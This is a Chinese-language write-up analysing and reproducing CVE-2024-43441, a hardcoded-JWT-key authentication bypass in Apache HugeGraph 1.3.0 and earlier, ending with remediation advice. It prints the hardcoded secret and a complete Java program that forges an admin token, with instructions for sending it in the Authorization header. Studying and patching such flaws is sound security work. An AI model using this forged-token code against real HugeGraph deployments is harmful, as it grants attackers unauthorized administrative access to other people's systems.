CVE-2024-43441 Apache HugeGraph 硬编码漏洞 复现一则
字数 1126 2025-08-22 12:23:06
Apache HugeGraph 硬编码漏洞 (CVE-2024-43441) 分析与复现指南
漏洞概述
Apache HugeGraph 1.3.0及之前版本存在一个身份验证绕过漏洞(CVE-2024-43441),原因是系统中使用了硬编码的JWT(JSON Web Token)密钥。攻击者可以利用这个硬编码密钥伪造任意用户的Token,从而绕过身份验证机制,获得未授权的系统访问权限。
漏洞原理
JWT机制简介
JWT是一种用于身份验证的开放标准(RFC 7519),它由三部分组成:
- Header - 包含令牌类型和签名算法
- Payload - 包含声明(claims)
- Signature - 用于验证令牌完整性的签名
漏洞具体原因
HugeGraph在TokenGenerator.java中使用了一个硬编码的密钥FXQXbJtbCLxODc6tGci732pkH1cyf8Qg来生成和验证JWT令牌。由于密钥是固定的,攻击者可以:
- 获取默认密钥
- 构造任意用户的payload
- 使用硬编码密钥生成合法的JWT令牌
- 使用该令牌冒充其他用户
环境搭建
使用Docker搭建漏洞环境
docker run -itd --name=graph -e PASSWORD=123456 -p 8080:8080 hugegraph/hugegraph:1.3.0
启用身份验证
默认情况下HugeGraph不启用身份验证,需要参考官方文档手动开启。
启用后,未认证访问会返回401错误。
漏洞分析
关键代码位置
漏洞修复commit: 03b40a52446218c83e98cb43020e0593a744a246
关键代码文件: hugegraph-server/hugegraph-core/src/main/java/org/apache/hugegraph/auth/TokenGenerator.java
令牌生成流程
String secretKey = config.get(AuthOptions.AUTH_TOKEN_SECRET);
this.key = Keys.hmacShaKeyFor(secretKey.getBytes(StandardCharsets.UTF_8));
return Jwts.builder()
.setClaims(payload)
.setExpiration(new Date(System.currentTimeMillis() + expire))
.signWith(this.key, SignatureAlgorithm.HS256)
.compact();
令牌payload结构
在StandardAuthManager.java中,令牌payload包含:
- user_name: 用户名
- user_id: 用户ID
默认管理员用户:
- 用户名: admin
- 用户ID: -30
漏洞复现
所需依赖
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt-api</artifactId>
<version>0.11.5</version>
</dependency>
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt-impl</artifactId>
<version>0.11.5</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt-jackson</artifactId>
<version>0.11.5</version>
<scope>runtime</scope>
</dependency>
生成伪造令牌的Java代码
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.security.Keys;
import javax.crypto.SecretKey;
import java.nio.charset.StandardCharsets;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) {
String secretKey = "FXQXbJtbCLxODc6tGci732pkH1cyf8Qg";
SecretKey key = Keys.hmacShaKeyFor(secretKey.getBytes(StandardCharsets.UTF_8));
Map<String, String> payload = new HashMap<>();
payload.put("user_name", "admin");
payload.put("user_id", "-30");
String token = Jwts.builder()
.setClaims(payload)
.setExpiration(new Date(System.currentTimeMillis() + 36000))
.signWith(key, SignatureAlgorithm.HS256)
.compact();
System.out.println(token);
}
}
使用伪造的令牌
将生成的令牌添加到HTTP请求的Authorization头中:
Authorization: Bearer <生成的JWT令牌>
修复方案
- 升级到修复版本(1.3.0之后的版本)
- 如果无法立即升级,可以手动修改
AUTH_TOKEN_SECRET配置,使用随机生成的Base64字符串作为密钥
修复后的版本使用随机生成的密钥而非硬编码密钥。
总结
该漏洞由于使用硬编码的JWT密钥,导致攻击者可以伪造任意用户的合法令牌。通过分析修复commit和关键代码,我们可以理解漏洞原理并复现攻击过程。建议所有使用受影响版本的用户立即升级或修改默认密钥。